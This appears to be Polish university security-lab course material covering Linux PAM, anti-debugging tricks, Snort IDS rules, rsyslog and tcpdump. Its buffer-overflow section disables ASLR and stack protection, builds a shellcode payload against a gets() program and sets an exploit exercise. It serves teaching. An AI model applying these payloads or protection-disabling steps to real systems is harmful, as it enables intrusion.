/lib64/security
/usr/lib/security
/usr/lib64/security
Zwykle nazwa modułu to pam_cośtam.so, najczęściej działa
man pam_cośtam
Przykłady:
Moduł pam_access zarządza klasycznym logowaniem do systemu lub aplikacji. W celu uaktywnienia modułu pam_access dla aplikacji login należy do jej pliku konfiguracyjnego dodać na końcu grupy account wiersz:
account required pam_access.so
Moduł pam_access ma plik konfiguracyjny /etc/security/access.conf. Każdy wiersz w nim ma postać
<uprawnienie> : <użytkownicy> : <miejsca>
Uprawnienie to jeden ze znaków + lub -. Nazwy użytkowników można oddzielać spacjami. Miejsce to nazwa komputera, LOCAL oznacza dostęp lokalny.
Inny użyteczny moduł to pam_limits. Służy on do nakładania ograniczeń ilościowych na zasoby, z jakich korzysta użytkownik, i jest uaktywniany za pomocą wpisu
session required pam_limits.so
z domyślnym plikiem konfiguracyjnym /etc/security/limits.conf. Składnia wierszy:
<dziedzina> <typ> <ograniczenie> <wartość>
gdzie <dziedzina>
określa użytkowników lub grupy, <typ>
to hard lub soft, zaś <ograniczenie>
to np. fsize lub nproc. W celu ustanowienia ograniczenia dla użytkownika guest do tylko na jednokrotnego logowania, należy tam wpisać
guest hard maxlogins 1
Z kolei moduł pam_securetty ogranicza do konsoli możliwość logowania się na konto root.
Nie ma „kompletnej” listy modułów. W dokumentacji administratora wymienione są te, które w danym momencie przychodzą z pakietem. Ta lista się zmienia :-(żółw się rusza).
Poniżej częściowy wykaz:
pam_access: zobacz wyżej.
pam_debug: tylko do testowania.
pam_deny: zobacz wyżej.
pam_echo: wypisuje zawartośc pliku.
pam_env: ustawia zmienne środowiska.
pam_exec: wywołuje zewnętrzne polecenie.
pam_lastlog: odnotowuje czas ostatniego logowania w pliku /var/log/lastlog.
pam_ldap: autoryzacja w oparciu o LDAP server (niestandardowy).
pam_limits: nakłada ograniczenia na zasoby, plik /etc/security/limits.conf.
pam_listfile: alternatywna wersja pam_access.
pam_mail: sprawdza, czy użytkownik ma nową pocztę.
pam_motd: wypisuje "message of the day", zwykle z /etc/motd.
pam_nologin: jeśli istnieje plik /etc/nologin lub /var/run/nologin, to zwraca niepowodzenie, przy okazji wypisując zawartość tego pliku. Dla root'a zawsze OK.
pam_permit: zawsze zwraca sukces.
pam_pwhistory: sprawdza nowe hasło z ostatnio używanymi.
pam_rootok: tylko root, zwykle umieszcany w /etc/pam.d/su jako "sufficient" test, żeby root mógł stawać się zwykłym użytkownikiem bez podawania hasła.
pam_securetty: sprawdza, czy ten użytkownik ma prawo się logować z tego urządzenia. Zagląda do pliku /etc/securetty file --- jest to wyjątek, bo większość plików pomocniczych jest w /etc/security.
pam_shells: wpuszcza tylko, gdy shell użytkownika jest legalny (tz. wymieniony w pliku /etc/shells).
pam_succeed_if: pozwala sprawdzać różne warunki.
pam_tally: prowadzi licznik prób dostępu, odmawia gdy było za dużo.
pam_time: ograniczenie dostępu według reguł z pliku /etc/security/time.conf.
pam_unix: klasyczna autoryzacja UNIXowa (/etc/passwd, /etc/shadow).
pam_warn: zobacz wyżej.
pam_wheel: uprawnienia roota tylko dla członków grupy wheel.
Przykład pliku konfiguracyjnego /etc/pam.d/su dla programu su
auth sufficient pam_rootok.so # Uncomment the following line to implicitly trust users in the "wheel" group. #auth sufficient pam_wheel.so trust use_uid # Uncomment the following line to require a user to be in the "wheel" group. #auth required pam_wheel.so use_uid auth substack system-auth auth include postlogin account sufficient pam_succeed_if.so uid = 0 use_uid quiet account include system-auth password include system-auth session include system-auth session include postlogin session optional pam_xauth.so
PAM można używać również we własnych aplikacjach. Popatrzmy na przykład
#include <security/pam_appl.h> #include <security/pam_misc.h> #include <stdio.h> static struct pam_conv login_conv = { misc_conv, /* przykładowa funkcja konwersacji z libpam_misc */ NULL /* ewentualne dane aplikacji (,,domknięcie'') */ }; void main () { pam_handle_t* pamh = NULL; int retval; char *username = NULL; retval = pam_start("login", username, &login_conv, &pamh); if (pamh == NULL || retval != PAM_SUCCESS) { fprintf(stderr, "Error when starting: %d\n", retval); exit(1); } retval = pam_authenticate(pamh, 0); /* próba autoryzacji */ if (retval != PAM_SUCCESS) { fprintf(stderr, "Chyba się nie udało!\n"); exit(2); } else fprintf(stderr, "Świetnie Ci poszło.\n"); printf("OK\n"); /* rzekomy kod aplikacji */ pam_end(pamh, PAM_SUCCESS); exit(0); }
Po wywołaniu pam_start
zmienna pamh
będzie zawierać dowiązanie do obiektu PAM, który będzie argumentem wszystkich kolejnych wywołań funkcji PAM.
Zmienna pam_conv
to struktura zawierająca informacje o funkcji do konwersacji z użytkownikiem -- tu użyliśmy najprostszej bibliotecznej funkcji misc_conv
, można jednak użyć własnej.
Pierwszy argument funkcji pam_start
to nazwa aplikacji, potrzebna do odnalezienia pliku konfiguracyjnego. Żeby nie trzeba było go pisać i instalować (wymaga uprawnień roota) można użyć nazwy innej już skonfigurowanej aplikacji (tutaj login
) -- będziemy mieć takie same reguły. Lepiej jednak mieć własną nazwę (np. "moje"), wtedy w katalogu /etc/pam.d powinien istnieć plik o tej nazwie (np. kopia pliku "login"). Pozwoli to używać nazwy tej aplikacji w plikach konfiguracyjnych w /etc/security.
Funkcja pam_authenticate
uruchamia ,,motor'' sprawdzania PAM -- usługę auth
. Dla pozostałych usług/grup istnieją analogiczne funkcje, szczegóły w podręczniku. Funkcja pam_end
po prostu kończy sesję (czytając podręcznik man do tej funkcji, zwróć uwagę na gospodarkę zasobami).
Przy kompilacji i linkowaniu należy pamiętać o bibliotekach libpam
i libpam_misc
, np.
gcc -o tescik tescik.c -lpam -lpam_misc
Podstawowa biblioteka libpam zawsze jest zainstalowana (w /lib lub /usr/lib), nawet nie warto sprawdzać. Trzeba zapewne doładować ,,development''. Na fedoropodobnych systemach to pakiet pam-devel, w Debianie (czyli w laboratorium) to libpam0g-dev. Można też załadować libpam-doc jeśli nie ma. W naszej pracowni
apt-get install libpam0g-dev
Trzy podstawowe procedury autentykacji w PAM to:
1. pam_start(): funkcja PAM która powinna być wywołana na początku. Inicjalizuje bibliotekę PAM, czyta plik konfiguracyjny i ładuje potrzebne moduły autentykacji w kolejności podanej w pliku konfiguracyjnym. Zwraca referencję do biblioteki PAM, której należy używać w następnych wywołaniach.
2. pam_end(): ostatnia funkcja PAM, którą powinna wołać aplikacja. Po jej zakończeniu jesteśmy odłączeni od PAM, a pamięć PAM zostaje zwolniona.
3. pam_authenticate(): interfejs do mechanizmu autoryzacji załadowanych modułów. Wołana przez aplikację najczęściej na początku, żeby zidentyfikować użytkownika.
Inne pożyteczne procedury PAM to:
- pam_acct_mgmt(): sprawdza czy konto bieżącego użytkownika jest aktywne.
- pam_open_session(): rozpoczyna sesję.
- pam_close_session(): zamyka bieżącą sesję.
- pam_setcred(): zarządza tokenami uwierzytelniającymi.
- pam_chauthtok(): zmienia żeton identyfikacji (zapewne hasło).
- pam_set_item(): modyfikuje wpis w strukturze stanu PAM.
- pam_get_item(): pobiera podany element stanu PAM.
- pam_strerror(): zwraca komunikat dla błędu.
Nagłówki tych procedur są w security/pam_appl.h. Warto obejrzeć podręczniki man tych funkcji.
Funkcja konwersacji obsługuje współpracę modułu z aplikacją, dostarczając modułowi metody odpytywania użytkownika o nazwę, hasło itp. Jej sygnatura to:
int conv_func (int, const struct pam_message**, struct pam_response**, void*);
Zwykle używa się bibliotecznej funkcji misc_conv
.
Materiały:
Główne strona projektu to http://www.linux-pam.org/. Zawiera dokumentację i link do repozytorium kodu, m.in. A.G. Morgan, T. Kukuk ,,The Linux-PAM System Administrators' Guide''
Andrew G. Morgan ,,Pluggable Authentication Modules for Linux'' Linux Journal #44 (12/1997), http://www.linuxjournal.com/article/2120. Artykuł twórcy implementacji dla Linuksa, zawiera m.in. przykład programu używającego PAM.
Stara strona dystrybucyjna wszystkich materiałów dla Linuksa (http://www.kernel.org/pub/linux/libs/pam/) ma obecnie znaczenie historyczne. Ogólnie na sieci jest nieco materiałów przestarzałych, np. z roku 2001. Zostaliście ostrzeżeni!
A poza tym u nas na stronie SO:
tekst Pani Barbary Domagały
W małym banku spółdzielczym z poprzednich zajęć chcesz ulepszyć organizację pracy dwóch pracowników, którzy zarządzają lokatami i kredytami. Napisz wstępną wersję programu, który w przyszłości pozwoli pracownikom na logowanie się do systemu za pomocą prowizorycznej autentykacji dwuskładnikowej. Pracownik może się zalogować pod warunkiem, że poda hasło, a następnie losową liczbę, jaka wyświetli się mu w innym kanale komunikacyjnym. W naszym przypadku niech to będzie wybrana konsola tekstowa (np. tty3). Odpowiedni zestaw plików z kodem i makefile do zbudowania programu zapakowane w archiwum prześlij na Moodle.
Pewnym utrudnieniem przy śledzeniu programów z użyciem GDB jest
zabezpieczenie stosowane w niektórych programach. Mianowicie
pierwszą rzeczą, jaką robi debugowany program po starcie, to
sprawdzenie, czy nie jest debugowany. Typowe rozwiązanie polega
tutaj na próbie wykonania wywołania systemowego ptrace
na sobie samym. Wywołanie to dla danego procesu może być wykonane
tylko raz. Dlatego jeśli ono zakończy się powodzeniem, to znaczy, że
program nie jest uruchomiony pod kontrolą debuggera. Jeśli się nie
uda, to znaczy, że działa przy udziale debuggera i można z tą wiedzą
coś zrobić, na przykład zakończyć działanie. To właśnie robi
poniższy przykład programu:
#include <sys/ptrace.h> #include <stdio.h> int main() { if (ptrace(PTRACE_TRACEME, 0) < 0) { printf("This process is being debugged!!!\n"); exit(1); } // long interesting code }
Inna znana technika wykorzystuje fakt, że przejście programu przez
ustawiony punkt przerwania (ang. breakpoint) powoduje wysłanie do
procesu sygnału SIGTRAP
. Wystarczy wtedy uruchomić
własną obsługę tego sygnału, żeby debugger taki jak GDB nie dawał
sobie rady z zatrzymaniem się w oczekiwanym przez śledzącego
miejscu.
#include <signal.h> #include <stdio.h> void handler(int signo) {} int main() { signal(SIGTRAP, handler); printf("Hello!\n"); }
Istnieje jeszcze wiele innych technik, a także rozwinięć technik powyżej zasugerowanych. Ich wspólnym mianowinikiem jest to, że w pewien sposób zakłócają proces, w jaki działa debugger. Zwykle zrozumienie sposobu zakłócania prowadzi do tego, że ominięcie zabezpieczenia jest stosunkowo łatwe (wystarczy zmienić kilka instrukcji w kodzie przed uruchomieniem debuggera).
Widzieliśmy już, jak można uruchomić wywołania systemowe, gdy kod pozwala na wykonanie przepełnienia bufora. Jednak do tej pory nasze wywołania nie miały argumentów. Spróbujmy teraz poradzić sobie z sytuacją, gdy jakieś argumenty musimy podać. Spróbujmy do tego celu wykorzystać lekko zmodyfikowany znany nam fragment programu:
#include <stdio.h> #include <stdlib.h> void bad_function(void) { char buff[4]; printf("Podaj mi jakiś napis:"); gets(buff); printf("Jestem bezpieczny, bufor zawiera: %s\n", buff); } int main() { bad_function(); exit(0); }
Będziemy chcieli wykonać skok do procedury, która wypisze nam napis Ha, ha, mam cię! Od razu zróbmy jednak zastrzeżenie, że współczesne systemy wprowadzają liczne zabezpieczenia, które nie pozwalają na łatwe wykonanie tego zadania. Przy okazji zapoznamy się z nimi i pokażemy, jak je usunąć, a tym samym uczynić nasz system bardziej podatnym na ataki. Oczywiście normalnie tego się nie robi, ale od czasu do czasu zachodzi taka potrzeba i warto sobie zdawać sprawę z tego, jakie konsekwencje niesie ze sobą takie działanie.
Na początek zróbmy obserwacje, że
podejrzenie w GDB adresu stosu nie pozwala nam na poprawne określenie adresu stosu. Jeśli
zmodyfikujemy kod funkcji bad_function
, jak następuje:
void bad_function(void) { char buff[4]; printf("Adres buff 0x%x\n", buff); printf("Podaj mi jakiś napis:"); gets(buff); printf("Jestem bezpieczny, bufor zawiera: %s\n", buff); }
To przekonamy się, że wartość wypisywana bez użycia gdb (0xffffd67c) będzie się różnić od wartości wypisywanej z użyciem gdb (0xffffd5fc). Prz czym, na współczesnych systemach operacyjnych uzyskanie dwa razy tej samej wartości nawet przy uruchomieniu bez użycia gdb jest bardzo trudne. Dzieje się tak, ponieważ w systemach tych działa na poziomie jądra bardzo ważne zabezbpieczenie, ASLR (ang. address space layout randomization, czyli randomizacja rozkładu przestrzeni adresowej). W wyniku działania tego mechanizmu różne części przestrzeni adresowej, w tym stos, są lokowane w miejscach o zmiennych, trudnych do przewidzenia adresach.
Przełamywanie ASLR wykracza poza zakres tych zajęć, więc ułatwimy sobie zadanie przez wyłączenie tego mechanizmu (nie należy robić tego na maszynie, na której przechowujemy ważne dane, i która jest podłączona do Internetu. Można to zrobić na maszynie wirtualnej przeznaczonej do eksperymentów, nie warto robić tego na własnym laptopie.
Samo wyłączenie ASLR w Linuksie dokonuje się, zmieniając wartość
zmiennej konfiguracyjnej jądra randomize_va_space
. W
tym celu należy wpisać do tej zmiennej wartość zero na przykład tak:
# su -
# echo 0 > /proc/sys/kernel/randomize_va_space
Jeśli chcielibyśmy poznać nieco dokładniejszą wartość adresu szczytu
stosu, możemy zmienić naszą bad_function
w następujący
sposób (warto wcześniej dodać do pliku z kodem dyrektywę include dla
nagłówka stdint.h
):
void bad_function(void) { char buff[4]; uint64_t sp; asm( "mov %%rsp, %0" : "=rm" ( sp )); printf("Stack address 0x%x\n", sp); printf("Podaj mi jakiś napis:"); gets(buff); printf("Jestem bezpieczny, bufor zawiera: %s\n", buff); }
Pozyskanie przybliżonego adresu szczytu stosu może być niekiedy trudniejsze (np. gdy nie mamy dostępu do kodu źródłowego, musimy zmodyfikować kod binarny). Tutaj ze względu na ograniczenia czasowe poprzestaniemy jednak na podanej wyżej prostej metodzie.
Dla uproszczenia zmodyfikujmy sobie naszą
funkcję bad_function
, tak aby wypisywała wszystkie
interesujące wartości adresów:
void bad_function(void) { char buff[4]; printf("Adres puts %016lp\n", puts); printf("Adres exit %016lp\n", exit); printf("Adres buff %016lp\n", (long)buff); printf("Podaj mi jakiś napis:"); gets(buff); printf("Jestem bezpieczny, bufor zawiera: %s\n", buff); }
Po skompilowaniu kodu dostaniemy następujące napisy:
root@bsklab:~# ./a.out Adres puts 0x007ffff7e765f0 Adres exit 0x007ffff7e3e660 Adres buff 0x007fffffffec3c Podaj mi jakiś napis:dd Jestem bezpieczny, bufor zawiera: dd
Możemy teraz zająć się preparowaniem napisu, jaki będzie wczytywany
przez wywołanie gets
i który spowoduje wyświetlenie na
ekranie wartości nas interesującej. Napis ten będzie miał
następującą ogólną strukturę (to jest przykład – są też inne
poprawne struktury):
[4 bajty na zaalokowaną część buff] [8 bajtów adresu, przechowującego zgodnie z ABI wartość rejestru %RBP] [8 bajtów adresu do naszego kodu ustawiającego parametr wejściowy puts] [8 bajtów adresu powrotu, wracającego do kodu funkcji puts] [8 bajtów adresu powrotu, wracającego do kodu funkcji exit] [kod ładujący do rejestru %RDI adres napisu, jaki ma być wyświetlany] [instrukcja RET wykonująca skok do puts] [zaterminowany zerem napis, jaki ma być wyświetlany]
Precyzyjne określenie powyższej zawartości, w szczególności adresu
napisu, który znajduje się na końcu, wymaga poznania binarnej
reprezentacji instrukcji, ładujących do rejestru %RDI
adres interesującego nas napisu. Możemy tutaj na przykład użyć
asemblera nasm
i napisać w nim stosowy kawałek kodu:
section .text global main main: mov rdi,0x007fffffffeb2c ret
Możemy go skompilować poleceniem:
# nasm -f elf64 -o <nazwa pliku>.o <nazwa pliku>.asm
Wywołanie w tym momencie objdump
da nam wynik:
0000000000000000 <main>: 0: 48 bf 2c eb ff ff ff movabs $0x7fffffffeb2c,%rdi 7: 7f 00 00 a: c3
Widzimy tutaj, że interesująca nas sekwencja to:
[0x48] [0xBF] [8 bajtów adresu napisu] [0xC3]
Zatem pełny schemat to:
[4 bajty na zaalokowaną część buff] [8 bajtów adresu, przechowującego zgodnie z ABI wartość rejestru %RBP] [8 bajtów adresu do naszego kodu ustawiającego parametr wejściowy puts] [8 bajtów adresu powrotu, wracającego do kodu funkcji puts] [8 bajtów adresu powrotu, wracającego do kodu funkcji exit] [0x48] [0xBF] [8 bajtów adresu napisu] [0xC3] [zaterminowany zerem napis, jaki ma być wyświetlany]
Zawartość bloku 8 bajtów adresu, przechowującego zgodnie z ABI
wartość rejestru %RBP
możemy określić, korzystając z
GDB. Szybkie przyjrzenie się ramce
procedury bad_function
pozwala stwierdzić, że w tym
miejscu znajduje się adres zmiennej buff
powiększony o
20.
[na przykład aaaa] [0x007fffffffec50] [0x007fffffffec60] [0x007ffff7e765f0] [0x007ffff7e3e660] [0x48] [0xBF] [0x007ffff7e3e66b] (uwaga: tu jest wpisana zła wartość, jaka jest dobra?) [0xC3] [Ha, ha!!!] [0x00]
Co przełożone na konkretne wywołanie echo
da:
# echo -e 'aaaa\x50\xEC\xFF\xFF\xFF\x7F\x00\x00\x60\xEC\xFF\xFF\xFF\x7F\x00\x00\xF0\x65\xE7\xF7\xFF\x7F\x00\x00\x60\xE6\xE3\xF7\xFF\x7F\x00\x00\x48\xBF\x6B\xEC\xFF\xFF\xFF\x7F\x00\x00\xC3Ha, ha!!!\x00' | ./a.out (Uwaga: powyższy napis wysyłany przez echo jest nieprawdiłowy, jak powinien wyglądać prawidłowy?)
Po wywołaniu powyższego polecenia czeka nas jeszcze jedna
niespodzianka. Na współczesnych systemach linuksowych powyższe
wywołanie zakończy się błędem segmentacji. Wynika on z tego, że
domyślnie zlinkowane programy mają wyłączoną możliwość wykonywania
kodu znajdującego się w segmencie stosu. Zabezpieczenie to można
usunąć, zmieniając flagę, która o tym decyduje, w pliku wykonywalnym
(./a.out
). Można tego dokonać za pomocą polecenia:
# execstack -s ./a.out
(Tu uwaga dla użytkowników współczesnego Debiana: polecenie to nie jest jeszcze udostępniane w oficjalnej dystrybucji systemu. Można sobie natomiast ściągnąć ten program z poprzedniej wersji systemu na przykład spod adresu: https://packages.debian.org/buster/amd64/execstack/download )
Rozważmy program
#include <stdio.h> #include <stdlib.h> void bad_function(void) { char buff[4]; printf("Podaj mi jakiś napis:"); gets(buff); printf("Jestem bezpieczny, bufor zawiera: %s\n", buff); } int main() { bad_function(); exit(0); }
Skompiluj plik wlam1.c
z powyższym kodem za pomocą polecenia:
gcc -g wlam1.c -o wlam1
Po skompilowaniu zablokuj ASLR na maszynie, na której będziesz robić
eksperymenty oraz zmodyfikuj w pliku wykonywalnym flagę
zabezpieczającą przed wykonywaniem kodu na stosie. Następnie dla
uzyskanego pliku wykonywalnego doprowadź do tego, że wywołanie
programu wyświetli za pomocą polecenia /bin/ls
zawartość jakiegoś katalogu.
Skrypt zawierający polecenia, pozwalające na wykonanie powyższego działania, prześlij do Moodle.
Załącznik | Wielkość |
---|---|
wlam1.c | 238 bajtów |
Snort jest otwartoźródłowym systemem wykrywania intruzów wdzierających się z sieci (ang. network intrusion detection system, IDS), może też służyć jako system zabezpieczania przed intruzami wdzierającymi się z sieci (ang. network intrusion prevention system, IPS). Oprogramowanie to jest rozwijane przez firmę komercyjną (obecnie, 2021 rok, Cisco). Jednak ważnym elementem zaufania do tego systemu jest jego otwartoźródłowość - każdy ma możliwość sprawdzenia, że zastosowanie Snorta nie spowoduje wprowadzenia intruza bocznymi drzwiami przez zastosowanie tego narzędzia. Dodatkowo duża popularność narzędzia sprawia, że w tym przypadku otwartoźródłowość sprzyja zmniejszaniu zagrożenia.
Snort może działać w wielu rodzajach strumieni danych:
Na takim ruchu może on też wykonywać różnego rodzaju funkcje:
Na tych zajęciach pokażemy najprostszy scenariusz, gdy Snort pracuje na ruchu, który dociera do maszyny i działa jako system wykrywania intruzów (IDS).
Uwaga: dobrze jest mieć do tych zajęć przygotowane dwie maszyny wirtualne.
Na dobry początek warto zainstalować Snorta na maszynie wirtualnej:
# apt-get install snort snort-doc
Podczas instalacji otrzymamy zapytanie o sieć, na której będziemy
wykonywać badania. W związku z tym, że będziemy tego obrazu używali
w różnych sieciach, pole to należy wyczyścić i odpowiednio ustawić
zmienną HOME_NET
w
pliku /etc/snort/snort.conf
.
W tym celu po zakończeniu instalacji otwieramy wspomniany plik i
zauważamy, że edytowanie wspomnianej zmiennej nie jest właściwe i
należy otworzyć plik /etc/snort/snort.debian.conf
,
gdzie należy zmiennej DEBIAN_SNORT_HOME_NET
nadać
wartość opisującą adres sieci, przed atakami z której chcemy się
bronić. Możemy ją wyczytać np. za pomocą
polecenia ifconfig
. Widząc tam zapis
inet 10.2.7.46 netmask 255.255.240.0 broadcast 10.2.15.255
wpisujemy do zmiennej wartość 10.2.0.0/20, bo wskazuje on, że właśnie 20 bitów zajmuje część adresu określająca adres sieci.
Możemy zacząć od tego, żeby sprawdzić, czy plik konfiguracyjny Snorta jest prawidłowy (na pewno jest prawidłowy po zainstalowaniu, ale warto zobaczyć, jak w takiej sytuacji wygląda działanie programu):
# snort -T -i enp0s3 -c /etc/snort/snort.conf 2>&1 | less
Opcna -T oznacza właśnie testowe wykonanie, -i pozwala wskazać, jakiego interfejsu oglądanie nas interesuje, zaś opcja -c pozwala wskazać plik konfiguracyjny. Po uruchomieniu tego polecenia ukaże nam się bardzo długa ściana tekstu, która zawiera raport z poszczególnych etapów wczytywania reguł zakończony podsumowaniem (też długim) zaczynającym się od opisu:
4057 Snort rules read 3383 detection rules 0 decoder rules 0 preprocessor rules 3383 Option Chains linked into 932 Chain Headers
który wskazuje, ile reguł zostało wczytane oraz ile z nich jest związane z wykrywaniem nieprawidłowości, ile z odkodowywaniem danych, a ile ze wstępnym przetwarzaniem. Wypisane informacje kończą się opisem wersji Snorta oraz oprogramowania, z którego on korzysta.
Cała siła programu Snort leży w regułach, które można pogrupować w
zestawy. Po krótkim przyjrzeniu się
plikowi /etc/snort/snort.conf
łatwo stwierdzimy, że do pliku konfiguracyjnego dołączane są liczne
pliki z katalogu /etc/snort/rules/
, zawierającego właśnie różne zestawy reguł pogrupowane „tematycznie”. Można sobie rzucić
okiem, jakie zestawy są dostępne, i jak wyglądają poszczególne wpisy.
Zwykle diagnozowanie działania sieci, również z użyciem Snorta, zaczynamy od ustawienia interfejsu sieciowego karty w tryb promiscuous. W trybie tym karta przekazuje do oprogramowania wszystkie pakiety, które do niej docierają - również te, które nie są do niej adresowane. Co prawda w dzisiejszych czasach ruch pakietów adresowanych do innych interfejsów niż interfejs na końcu kabla jest drastycznie ograniczony przez przełączniki, ale nie zawsze to działa (NB. warto zgłosić administratorom, gdy na interfejsie pojawiają się pakiety do niego nie adresowane). Przełączenie karty w tryb promiscuous uzyskujemy za pomoca polecenia:
# ip link set enp0s3 promisc on
lub
# ifconfig enp0s3 -promisc
Możemy teraz uruchomić Snorta w celu określenia, czy nie dochodzi do naszej maszyny jakiś podejrzany ruch:
# snort -d -l /var/log/snort/ -h 10.2.0.0/20 -A console -c /etc/snort/snort.conf
Tutaj opcja -d wskazuje, że Snort jest używany w trybie systemu
wykrywania intruzów (ang. Network Intrusion Detection System,
NIDS). W trybie tym widzimy tylko informacje pochodzące z ruchu o
podejrzanych charakterystykach (np. pakiety o niepoprawnej
strukturze). Opcja -l wskazuje, gdzie są umieszczane pliki z
zebranymi przez Snorta informacjami. Dodanie -h 10.2.0.0/20
powoduje, że widzimy nieco mniej informacji na
ekranie, a podejrzany ruch z odległych maszyn umieszczany jest w
katalogach o nazwach zgodnych z nazwami tych maszyn, zaś -A console
powoduje, że dostajemy raporty na ekranie terminala.
Możemy sobie chwilę poobserwować ruch, żeby się nieco oswoić z rodzajem uzyskiwanej informacji. Warto raz na jakiś czas nacisnąć na dłużej enter, żeby sobie oczyścić ekran z nadmiaru informacji.
Najbardziej typowym sposobem badania komputerów w sieci jest wyłanie do maszyny pinga. Wykonajmy z jakiejś innej maszyny niż ta, na której działa Snort, polecenie:
# ping 10.2.7.46
Zapewne nic tutaj nie zobaczymy, bo reguły Snorta są tak napisane, aby nie robić alarmu w przypadku ruchu zasadniczo nieszkodliwego. Natomiast jeśli spróbujemy wysłać niestandardowe pakiety ping, to ujrzymy nietrywialny efekt działania Snorta. Po wysłaniu pakietu ping (technicznie jest to pakiet ICMP echo request) o rozmiarze 4096
# ping -s 4096 10.2.7.46
dostaniemy następujące trzy sygnały od Snorta:
12/04-20:00:39.553493 [**] [1:480:5] ICMP PING speedera [**] [Classification: Misc activity] [Priority: 3] {ICMP} 10.2.1.95 -> 10.2.7.46 12/04-20:00:39.553493 [**] [1:499:4] ICMP Large ICMP Packet [**] [Classification: Potentially Bad Traffic] [Priority: 2] {ICMP} 10.2.1.95 -> 10.2.7.46 12/04-20:00:39.553669 [**] [1:499:4] ICMP Large ICMP Packet [**] [Classification: Potentially Bad Traffic] [Priority: 2] {ICMP} 10.2.7.46 -> 10.2.1.95
Jak to zwykle bywa, wpisy zaczynają się od znaczników czasowych. Ciąg [**] to specyficzny separator używany przez Snorta. Następny znacznik, na przykład [1:480:5], wskazuje, jakie moduły wewnętrzne Snorta zajmowały się przetwarzaniem prowadzącym do danego alarmu (pierwsza 1, zob. plik etc/generators w źródłach Snorta), jaka reguła została użyta (patrzymy na wartość sid w regule) oraz w jakiej wersji (patrzymy na wartość rev w regule).
Pochodzenie alarmu możemy w ogromnej większości przypadków (nie dotyczy to reguł preprocesora) stwierdzić, wykonując polecenie w stylu:
# grep sid:499 /etc/snort/rules/*
Powyższa instrukcja szybko nam też wyjaśni pochodzenie następnego
napisu - komentarza do alertu. Następnie po separatorze [**] widać
określenie, do jakiej kategorii zdarzeń został dany alert
przydzielony. Z każdą kategorią zdarzeń związany jest domyślny
priorytet zwykle konfigurowany w
pliku /etc/snort/classification.config
. Można jednak te
wartości nadpisywać w regułach.
Końcowy zapis {ICMP} 10.2.7.46 -> 10.2.1.95
jest
zapisem przepisanym na początku reguły (wskazanie protokołu niższej
warstwy oraz adresów pochodzenia i docelowego pakietu; czasami
rozszerzone o numer portu).
Inny przykład raportu, jaki daje Snort, uzyskamy, wydając (na innej maszynie wirtualnej) polecenie:
# nmap -A 10.2.7.46
Wtedy uzyskamy raport postaci:
12/04-19:50:41.178872 [**] [1:1418:11] SNMP request tcp [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 10.2.1.95:35957 -> 10.2.1.95:161 12/04-19:50:41.197157 [**] [1:1421:11] SNMP AgentX/tcp request [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 10.2.1.95:35957 -> 10.2.1.95:705 12/04-19:50:42.150598 [**] [1:1228:7] SCAN nmap XMAS [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 10.2.1.95:47570 -> 10.2.1.95:1 12/04-19:50:42.150779 [**] [1:485:4] ICMP Destination Unreachable Communication Administratively Prohibited [**] [Classification: Misc activity] [Priority: 3] {ICMP} 10.2.1.95 -> 10.2.1.95
Wskazujący, że program nmap
do określenia systemu
operacyjnego na komputerze, który jest badany, używa protokołu SNMP,
następnie wykonuje skanowanie portów, aby zakończyć proces wysłaniem
niestandardowego pakietu ICMP.
Spróbujmy teraz napisać własną regułę Snorta. Umieścimy ją w pliku
/etc/snort/rules/local.rules
i nadamy jej taką postać:
alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg: "Attempt to telnet from external net"; sid:10000002; rev:1;)
Pamiętajmy, że reguła musi być zapisana w jednym wierszu.
Teraz próba wykonania polecenia telnet z adresem naszej maszyny wirtualnej spowoduje wyświetlenie się odpowiedniego alarmu Snorta. Jednak taki alarm może być dla nas niezadowalający: brakuje klasyfikacji i priorytet jest bardzo wysoki. Dlatego poprawmy regułę tak:
alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg: "Attempt to telnet from external net"; sid:10000002; rev:2; classtype:attempted-user)
Tym razem próba telnetu da nam już wskazanie, że alarm należy do określonej klasy, a także wskaże sensowny jej priorytet. Warto zwrócić uwagę, że przy okazji zmiany zwiększyła się też wartość pola rev. Zwiększyliśmy je o jeden, żeby wskazać, iż zaszła zmiana i w obiegu mogą być alerty pochodzące z różnych wersji tej reguły, a zatem prawdopodobnie mające różne znaczenie.
Reguły Snorta pozwalają na badanie wielu charakterystyk pakietów,
jakie trafiają do komputera. Proszę przyjrzeć się regułom z plików
/etc/snort/rules/web-*
, aby zorientować się, jakie
rodzaje alarmów są tworzone dla aplikacji webowych. Warto też obejrzeć dokumentację ze strony
https://www.snort.org.
Snort bywa umieszczany jako część dedykowanego systemu operacyjnego służącego do wykrywania intruzów. Przykładem takiego rozwiązania jes system Security Onion.
Gdy Snort jest używany jako sonda IDS/IPS, która bada ruch w segmencie sieciowym, jest uruchamiany wraz z odpowiednimi rozwiązaniami sprzętowymi takimi jak urządzenia TAP lub na końcu połączenia przez port lustrzany.
Strona Snorta oferuje kilka rodzajów reguł (zob. https://www.snort.org/downloads/#rule-downloads):
Są też dostępne inne subskrypcje komercyjne, oferuje takie na przykład firma Cisco.
Proszę napisać regułę Snorta wykrywającą próbę połączenia się protokołem HTTP pod niestandardowy numer portu. Fragment pliku reguł zawierający taką regułę proszę wysłać do Moodle.
/var/log
usługa.poziom <co najmniej jeden znak tabulacji> przeznaczenie
mail.info /var/log/mail.log
*.emerg;user.none *
% kill -HUP $(cat /var/run/(r)syslogd.pid)
% /etc/init.d/rsyslog restart
% rsyslogd -f /etc/rsyslog.conf -N1
:własność,[!]operacja, "wzorzec"
:msg,contains,"iptables" /var/log/iptables.log :msg,regex,"fatal .* error" /var/log/fatal-error.log
$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat
local2.info /tmp/test.log
% logger -p local2.info "test local2 info"
Skonfiguruj rsyslog w taki sposób, aby:
Przy pomocy polecenia logger przetestuj powyższe reguły. Plik konfiguracyjny syslog zawierający powyższe konfiguracje prześlij do Moodle.
Tcpdump jest narzędziem pozwalającym przyjrzeć się szczegółowo ruchowi, z jakim ma do czynienia maszyna, na której pracujemy, a w sprzyjających warunkach nawet cała sieć, w której pracujemy. Dzięki temu możemy się zorientować, czy część ruchu nie jest przypadkiem ruchem nieprawidłowym, wskazującym na problemy z konfiguracją, albo na problemy związane z atakiem intruzów.
Na dobry początek warto zorientować się, na jakich interfejsach komunikacyjnych możemy wykonywać nasłuchiwanie:
